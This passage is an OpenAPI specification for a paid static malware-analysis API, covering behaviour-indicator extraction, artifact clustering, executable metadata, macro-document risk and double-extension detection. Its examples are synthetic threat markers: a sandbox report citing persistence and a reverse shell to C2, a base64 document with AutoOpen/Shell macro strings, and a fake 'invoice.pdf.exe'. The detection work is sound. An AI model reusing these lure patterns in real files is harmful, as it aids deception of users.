{"openapi":"3.1.0","info":{"title":"Malware & File Threat Intelligence API","version":"1.0.0","description":"Extract behaviour indicators, cluster artifacts, analyze executable metadata, detect macro/document risk, extension mismatches, suspicious script patterns, archive payload risks, and IoCs—using local static parsing of caller-supplied files and analysis reports only. Paid with x402 exact USDC on Base. No account is required.","contact":{"email":"support@brainiac.software"},"x-guidance":"BRAINIAC.software is a pay-per-call API for software agents. No account or API key is required.\nPayment uses the x402 protocol with exact USDC on Base (chain id 8453). Each POST operation has a fixed USD price.\nHow to call an operation:\n1. POST a JSON body matching the operation's requestBody schema to the operation path. Include an Idempotency-Key header (64 hex characters, 32 random bytes).\n2. If you have not paid, the server responds 402 with payment requirements in the body. Pay the exact amount to the payTo address on Base.\n3. Retry the identical request with the same Idempotency-Key and add a payment-signature header containing the x402 payment payload. On success (200) the operation result is returned.\n4. Reuse the same Idempotency-Key only for retries of the same operation and request body; it will not be charged twice.\nAll outputs are compliance prechecks, drafts, or data lookups for human review. They are not official determinations, legal advice, identity confirmation, or certified filings. Verify time-sensitive or official data with the cited source before acting."},"servers":[{"url":"https://www.brainiac.software"}],"paths":{"/api/v1/file-security/file-behavior-indicator-extract":{"post":{"operationId":"extract_file_behaviour_indicators","summary":"Extract file behaviour indicators","description":"Extract suspicious behaviour indicators from caller-supplied analysis reports/text using local static pattern matching. Files are never executed. Absence of matches is not a malware-free verdict.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","reports":[{"id":"R1","title":"Sandbox summary","text":"Sample created process powershell.exe and wrote CurrentVersion\\Run persistence. Observed reverse shell beacon to C2.","source":"Caller-supplied analysis report"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"items":[{"id":"behavior-R1","detector":"file-behavior-indicator-extract","title":"Suspicious behaviour indicators extracted","observedFacts":["Matched behaviour pattern: Process creation indicator.","Matched behaviour pattern: Persistence indicator.","Matched behaviour pattern: Network/C2 indicator."],"inferredThreat":"Reported behaviours can indicate malicious capability if the source analysis is accurate.","confidence":"high","relatedIds":["R1"],"reasons":["process_create","persistence","network_c2"],"evidence":[{"subject":"R1","fact":"Pattern process_create matched in supplied analysis text/bytes window.","inference":"Behaviour indicators are extracted statically from supplied reports/files; not dynamic execution proof.","confidence":"medium"},{"subject":"R1","fact":"Pattern persistence matched in supplied analysis text/bytes window.","inference":"Behaviour indicators are extracted statically from supplied reports/files; not dynamic execution proof.","confidence":"medium"},{"subject":"R1","fact":"Pattern network_c2 matched in supplied analysis text/bytes window.","inference":"Behaviour indicators are extracted statically from supplied reports/files; not dynamic execution proof.","confidence":"medium"}],"source":"Caller-supplied analysis report","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"behavior_indicator","subject":"R1","detail":"Behaviour indicators: process_create, persistence, network_c2 (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/malware-artifact-cluster":{"post":{"operationId":"cluster_malware_artifacts","summary":"Cluster malware artifacts","description":"Group caller-supplied files/artifacts by identical hashes and structural similarity (magic/extension/size). Clustering is not family attribution or confirmed malware.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","artifacts":[{"id":"F1","filename":"a.bin","sha256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","sizeBytes":2048,"source":"Caller-supplied"},{"id":"F2","filename":"b.bin","sha256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","sizeBytes":2048,"source":"Caller-supplied"},{"id":"F3","filename":"c.exe","sha256":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","sizeBytes":2048,"source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"items":[{"id":"cluster-hash-aaaaaaaaaaaaaaaa","detector":"malware-artifact-cluster","title":"Identical-hash artifact cluster","observedFacts":["2 artifacts share hash aaaaaaaaaaaaaaaa…"],"inferredThreat":"Identical hashes indicate the same bytes; malice is not confirmed by clustering alone.","confidence":"high","relatedIds":["F1","F2"],"reasons":["identical_hash"],"evidence":[{"subject":"F1","fact":"filename=a.bin; magic=empty; size=2048","confidence":"high"},{"subject":"F2","fact":"filename=b.bin; magic=empty; size=2048","confidence":"high"}],"source":"Caller-supplied artifacts; deterministic hash clustering","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/executable-metadata-analyze":{"post":{"operationId":"analyze_executable_metadata","summary":"Analyze executable metadata","description":"Analyze PE/ELF/Mach-O metadata and structural properties from caller-supplied bytes. Static only—files are never executed.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","files":[{"id":"E1","filename":"sample.exe","fileBase64":"TVoAAGZha2UtcGU=","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"status":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"analyzed","itemCount":1,"items":[{"id":"exe-meta-E1","detector":"executable-metadata-analyze","title":"Executable metadata risk indicators","status":"insufficient_evidence","observedFacts":["magic=pe_executable","sizeBytes=11","MZ found but PE header could not be fully parsed within supplied bytes."],"inferredThreat":"Executable structural features can indicate packing or disguise.","confidence":"low","relatedIds":["E1"],"reasons":["pe_header_incomplete"],"evidence":[{"subject":"E1","fact":"magic=pe_executable; sizeBytes=11; MZ found but PE header could not be fully parsed within supplied bytes.","inference":"Static metadata only; file was not executed.","confidence":"low"}],"source":"Caller-supplied","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"executable_metadata","subject":"E1","detail":"Executable indicators: pe_header_incomplete (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/macro-document-risk-detect":{"post":{"operationId":"detect_macro_document_risk","summary":"Detect macro document risk","description":"Identify suspicious macro markers in caller-supplied Office/RTF documents via static strings/package entries. Macros are never executed.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","files":[{"id":"D1","filename":"invoice.doc","fileBase64":"0M8R4KGxGuF2YmFQcm9qZWN0LmJpbiBBdXRvT3BlbiBTaGVsbCBWQkEgbWFjcm9zaGVldHM=","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items":{"type":"object","properties":{"kind":{"type":"string"},"code":{"type":"string"},"subject":{"type":"string"},"detail":{"type":"string"}},"additionalProperties":true}},"limitations":{"type":"array","items":{"type":"string"}}},"additionalProperties":true},"example":{"checkedAt":"2026-11-04T21:00:00.000Z","status":"detected","itemCount":1,"items":[{"id":"macro-D1","detector":"macro-document-risk-detect","title":"Suspicious macro document indicators","observedFacts":["OLE/text window contains VBA/macro storage indicators.","Auto-execution macro entrypoint wording present."],"inferredThreat":"Macro-enabled documents with auto-exec markers are commonly used for initial access.","confidence":"high","relatedIds":["D1"],"reasons":["macro_storage_indicator","auto_exec_macro"],"evidence":[{"subject":"D1","fact":"magic=ole_cfb; extension=doc","inference":"Macro risk from static markers only; document was not opened/executed.","confidence":"medium"}],"source":"Caller-supplied","status":"signal","confirmedMalware":false}],"paidProviderUsed":false,"apiKeyRequired":false,"externalScannerUsed":false,"fileExecuted":false,"networkAccessed":false,"confirmedMalwareClaimed":false,"malwareFreeNotClaimed":true,"findings":[{"kind":"conflict","code":"macro_risk","subject":"D1","detail":"Macro indicators: macro_storage_indicator, auto_exec_macro (confirmedMalware=false)."}],"limitations":["Files and analysis reports are copied only from caller-supplied fields. Uploaded bytes are never executed and are never sent to external malware scanners.","Analysis is static/local only with strict decoded-size, archive-depth, entry-count, and decompression limits.","Observed facts are separated from inferred threat hypotheses. Absence of matched patterns is not a malware-free verdict.","Nested archive inspection lists metadata and may inflate only small members within decompression caps.","No paid threat-intel feed is used and no API key is required."]}}}},"400":{"description":"Invalid JSON or request schema."},"402":{"description":"Payment Required"},"409":{"description":"Idempotency conflict, in-progress payment, or expired result cache. Reusing the key cannot trigger a second charge."},"413":{"description":"Request body exceeds the 24 MB limit."},"500":{"description":"Operation failed. With upfront settlement this may occur after payment; reuse the same idempotency key to retrieve the stored result."},"503":{"description":"Payment or retry-safe result storage is unavailable; the operation is not run."}},"x-payment-info":{"price":{"mode":"fixed","currency":"USD","amount":"0.04"},"protocols":[{"x402":{}}]}}},"/api/v1/file-security/file-extension-mismatch-detect":{"post":{"operationId":"detect_extension_format_mismatches","summary":"Detect extension/format mismatches","description":"Identify mismatches between caller-supplied filenames/extensions and local magic-byte formats, including double extensions.","tags":["file-security"],"requestBody":{"required":true,"content":{"application/json":{"schema":{"$schema":"https://json-schema.org/draft/2020-12/schema","type":"object","properties":{"text":{"type":"string","maxLength":200000},"json":{"type":"string","maxLength":200000},"csv":{"type":"string","maxLength":200000},"file":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false},"files":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"reports":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"title":{"type":"string","maxLength":200},"text":{"type":"string","maxLength":200000},"source":{"type":"string","maxLength":200}},"required":["text"],"additionalProperties":false}},"artifacts":{"maxItems":40,"type":"array","items":{"type":"object","properties":{"id":{"type":"string","maxLength":80},"filename":{"type":"string","minLength":1,"maxLength":260},"mediaType":{"type":"string","maxLength":120},"fileBase64":{"type":"string","minLength":1,"maxLength":12000000},"sha256":{"type":"string","maxLength":128},"md5":{"type":"string","maxLength":64},"sha1":{"type":"string","maxLength":80},"sizeBytes":{"type":"number","minimum":0,"maximum":100000000},"role":{"type":"string","maxLength":80},"source":{"type":"string","maxLength":200}},"additionalProperties":false}},"asOf":{"type":"string","maxLength":40},"maxArchiveDepth":{"type":"number","minimum":1,"maximum":5},"maxInflateBytes":{"type":"number","minimum":1000,"maximum":2000000}},"additionalProperties":false},"example":{"asOf":"2026-11-04T21:00:00.000Z","files":[{"id":"X1","filename":"invoice.pdf.exe","fileBase64":"TVoAAGZha2UtcGU=","source":"Caller-supplied"}]}}}},"parameters":[{"name":"Idempotency-Key","in":"header","required":true,"description":"Fresh random 32-byte value encoded as 64 hexadecimal characters. Reuse unchanged only for retries of the same operation and request.","schema":{"type":"string","pattern":"^[0-9a-fA-F]{64}$"}}],"responses":{"200":{"description":"Illustrative endpoint-specific JSON response shape. Conditional fields depend on the result and data-source availability.","content":{"application/json":{"schema":{"type":"object","properties":{"checkedAt":{"type":"string"},"status":{"type":"string"},"itemCount":{"type":"number"},"items":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string"},"detector":{"type":"string"},"title":{"type":"string"},"observedFacts":{"type":"array","items":{"type":"string"}},"inferredThreat":{"type":"string"},"confidence":{"type":"string"},"relatedIds":{"type":"array","items":{"type":"string"}},"reasons":{"type":"array","items":{"type":"string"}},"evidence":{"type":"array","items":{"type":"object","properties":{"subject":{"type":"string"},"fact":{"type":"string"},"inference":{"type":"string"},"confidence":{"type":"string"}},"additionalProperties":true}},"source":{"type":"string"},"status":{"type":"string"},"confirmedMalware":{"type":"boolean"}},"additionalProperties":true}},"paidProviderUsed":{"type":"boolean"},"apiKeyRequired":{"type":"boolean"},"externalScannerUsed":{"type":"boolean"},"fileExecuted":{"type":"boolean"},"networkAccessed":{"type":"boolean"},"confirmedMalwareClaimed":{"type":"boolean"},"malwareFreeNotClaimed":{"type":"boolean"},"findings":{"type":"array","items"